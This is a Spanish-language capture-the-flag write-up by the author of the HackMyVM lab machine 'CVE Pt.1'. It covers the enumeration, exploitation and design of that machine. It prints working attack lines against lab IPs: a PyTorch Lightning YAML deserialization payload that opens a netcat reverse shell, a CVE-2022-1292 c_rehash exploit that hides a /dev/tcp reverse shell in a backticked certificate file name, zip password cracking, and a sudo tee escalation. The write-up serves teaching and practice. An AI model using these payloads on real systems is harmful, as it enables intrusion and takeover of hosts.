Hace algunos meses atrás le estuve pegando bastante seguido a esta excelente plataforma llamada HackMyVM y la verdad que guardo buen recuerdo de ella. Lamentablemente por incompatibilidades horarias no estoy tan activo por estos tiempos, sin embargo en aquellos días de asiduidad incluso me involucré en la generación de máquinas para compartirlas a través de este proyecto. Sin lugar a duda lo disfrute y lo sufrí casi a partes iguales, ya que preparar una máquina en condiciones no es algo trivial eh! Tiene su complejidad y sobre todo si pretendes hacer algo mas o menos exigente, que no se te escapen detalles para que los usuarios se tomen «atajos» para conseguir llegar a los objetivos. En definitiva, este fue el caso de esta máquina que les traigo el día de hoy y que simplemente he bautizado como CVE Pt.1.

Pretendo en esta entrada también hablar de la parte de la construcción, como se me ocurrió hacerlo, las motivaciones y tal vez el por qué de los controles y configuraciones adoptados.

Enumeración

Después de descargar la máquina virtual la pondremos en marcha con nuestra plataforma de virtualización de preferencia, en mi caso tiro de VirtualBox (que es donde también lo desarrollé) y tocará identificar la dirección IP que se le asigna a nuestro objetivo. Para ello emplearé Nmap:

Ya con la dirección IP localizada, toca revisar puertos y servicios, nuevamente con Nmap:

nmap -sS -sV -v -p- 15.15.15.86 -oN Nmap_TCP.txt

Del resultado obtenido, quitando el puerto que se asume es de mantenimiento (SSH), nos centraremos en los 2 servicios HTTP que se intuye tener. Vamos a revisar primero el aspecto de lo que presenta el puerto TCP 80:

A primera vista observamos solo la página por defecto, por tanto llegará el momento de rastrear ficheros y directorios:

gobuster dir -u http://15.15.15.86/ -w /usr/share/wordlists/dirb/common.txt -x php,htm.html

Y en realidad poco donde rascar por aquí. Se me ocurrió dejarlo a modo de «rabbit hole«, pero en realidad es una tontería.

Análisis de la aplicación web

Inmediatamente saltaremos a lo que «esconde» el puerto 9090:

Esto ya es otra cosa, de frente tenemos un formulario con distintas entradas de datos, esto debería motivarnos ciertamente.

Para desgranar lo que tenemos aquí diremos básicamente que la web se compone de 2 partes, una en la parte superior en donde el primer campo se llama «File Name«, se acompaña el campo de un texto que parece ser indicativo de ser una extensión, en este caso yaml. Debajo de esto tenemos una área de texto que se entiende que es para indicar el contenido del fichero que subiremos al servidor. El botón de submit en este caso pone: «Save template on the server«.
La segunda parte (en la parte inferior), parece mostrarnos un formulario en donde se nos permite solicitar la apertura de un fichero (con extensión yaml también lo parece), el cual más abajo será presentado con su contenido.
Ahora la pregunta que nos suscita es: ¿Qué fichero con extensión yaml del servidor podremos llamar? Para resolver esta duda tiraremos una vez más de nuestro Gobuster, aunque en esta ocasión también le indicaremos la extensión que queremos localizar:

gobuster dir -u http://15.15.15.86:9090/ -w /usr/share/wordlists/dirb/common.txt -x yaml

Observemos que rápidamente localizamos el fichero «file.yaml«, que a priori parece estar vacío.

Por tanto y para testear la primera parte del formulario intentaremos reescribir sobre el fichero file.yaml:

Ya con la segunda parte del formulario intentaremos leer el contenido del fichero file.yaml reescrito:

El resultado parece alentador, pero: ¿Cómo podemos aprovecharnos de esta funcionalidad?, si es que finalmente se puede hacer.
Indagamos un poco más sobre el código fuente presentado de la página web y nos llama poderosamente la atención la siguiente línea comentada:

Es hora de iniciar la búsqueda de potenciales vulnerabilidades asociadas a este software llamado PyTorch Lightning. Para ello directamente debemos ir a la base de datos más extendida de la industria, el sistema Common Vulnerabilities and Exposures, también conocido por sus siglas CVE. Aquí básicamente buscaremos vulnerabilidades conocidas asociadas al producto y localizaremos potenciales puntos de ataque. En este caso identificamos 2 CVE que suena la mar de interesante:

Por ahora, el CVE-2021-4118 suena apetitoso dada su descripción.

Los enlaces de referencias deben ser inmediatamente revisados y observemos que como CNA tenemos a la organización huntr.dev, ellos básicamente son una organización que se encargan de recepcionar reportes de fallos de seguridad en software libre vinculados a proyecto de GitHub, también se les puede reconocer como el Bug Bounty del software libre. Yo conocí la plataforma hace algunos meses y la verdad es que me llamó bastante la atención.
Y bueno, volviendo al CVE identificado, allí tendremos la referencia al siguiente reporte de la vulnerabilidad CVE-2021-4118. Obviamente no nos quedaremos ni cortos, ni perezosos para darnos una revisión del detallado reporte público:

Ojito con el impacto declarado, que parece ser lo que buscamos para nuestro objetivo:

Primera intrusión en el host

A continuación la estructura del fichero con extensión yaml que subiremos al servidor:

id: !!python/object/apply:subprocess.Popen [["nc", "15.15.15.5", "4455", "-c", "sh"]]

Nos mantendremos a la escucha con Netcat para obtener la conexión reversa, pasados unos segundos:

Adicionalmente podremos hacer nuestro tratamiento de la TTY respectiva:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=screen-256color
[Ctrl+Z]
stty raw -echo; fg

Ya una vez dentro de la maquina objetivo podremos leer el backend y los ficheros que lo componen:

Obtención de usuario

La enumeración en el equipo objetivo puede ir por distintos puntos hasta llegar a la revisión de procesos en funcionamiento, para ello nos apoyaremos de la herramienta pspy. Lo descargaremos, le asignaremos permisos de ejecución y posteriormente lo pondremos en marcha:

En breves momentos identificaremos un conjunto de registros en donde se referencia al binario c_rehash:

Indagando sobre este binario identificaremos que se relaciona con OpenSSL, por tanto revisaremos la versión implementada en el sistema:

Posteriormente tocará identificar potenciales vulnerabilidades que afecten a estos recursos en base a las versiones:

La vulnerabilidad CVE-2022-1292 la conocí a partir de este tweet que publicó el usuario @momika233:

Me llamó la atención el vector, le dediqué una parte de mi tiempo en su revisión y finalmente decidí implementarlo en esta VM. También aproveché a generar y compartir en mi GitHub el siguiente automatismo para la verificación y la explotación de la vulnerabilidad:

En el automatismo añadí una primera función llamada «check«, que permite validar si el host es vulnerable o no.

Otra funcionalidad añadida en el automatismo es «command«, que básicamente permite ejecutar en el host el comando deseado, aprovechando esta vulnerabilidad, observemos:

En el script la ultima funcionalidad que añadí se llama «revshell», que básicamente propicia lo descrito.

Sin embargo, para esta oportunidad iremos por una explotación algo más «manual». Para ello lo primero será identificar el directorio de certificados del sistema, que por defecto será: /etc/ssl/certs. Observemos que estratégicamente, aunque el directorio pertenece al superusuario, los permisos establecidos sobre el directorio certs permiten que otros usuarios puedan escribir sobre el mismo. Por tanto, se dan las condiciones para explotar este vector.

Ejecutaremos la siguiente secuencia de comandos para aprovechar esta vulnerabilidad:

echo 'bash -i >& /dev/tcp/15.15.15.5/4466 0>&1' > tmprshell.sh
echo "-----BEGIN CERTIFICATE-----" > "tmp.crt\`bash tmprshell.sh\`"

De mantenernos a la escucha mediante Netcat, pasados unos minutos, obtendremos la conexión reversa del host objetivo:

El acceso lo conseguiremos a través del usuario wicca, que nos permitirá llegar a su flag:

Escalada de privilegios

Pasando a la escalada de privilegios, en la anterior captura debió llamarnos la atención el fichero Backup.zip, por tanto lo descargaremos en nuestro host de ataque para su análisis:

Siendo que este fichero comprimido se encuentra protegido con contraseña, aplicaremos la siguiente fuerza bruta para conseguir descomprimirlo:

fcrackzip -v -D -p /usr/share/wordlists/rockyou.txt -u Backup.zip

Identificada la contraseña, revisaremos el contenido del fichero comprimido:

Este anterior mensaje dejado por el usuario Wicca, es bastante revelador para entender el siguiente script en python:

Y una vez más nos topamos con la tecnología PyTorch, recordemos que también habíamos visto, mas arriba, la vulnerabilidad CVE-2022-0845.

Para confirmar la afectación de esta vulnerabilidad en el host objetivo, localizaremos la versión de la tecnología implementada:

De volver a revisar los procesos que se encuentran en ejecución en el host, nos encontraremos con la siguiente pista:

Mientras que si revisamos el listado de que podamos obtener ejecutando sudo -l, nos encontraremos con lo siguiente:

Según GTFOBins:

Si el binario tee puede ejecutarse como superusuario sudo, no pierde los privilegios elevados y puede usarse para acceder al sistema de archivos, escalar o mantener el acceso privilegiado.

Veamos esto en la práctica:

Listo, con esto llegaremos a obtener el acceso mediante el superusuario (root):

Una vez más, revisamos el script que se me ocurrió generar para este apartado:

Y nada, esto ha sido lo que se me ocurrió hacer en el proceso de construcción y preparación de esta VM, espero que os satisfaga.

WriteUp de la comunidad

Para cerrar este post, quiero aprovechar la ocasión para dejaros por aquí un par de WriteUp que he visto que fueron desarrollados por algunos miembros de la comunidad (muchas gracias por ello!):


Referencias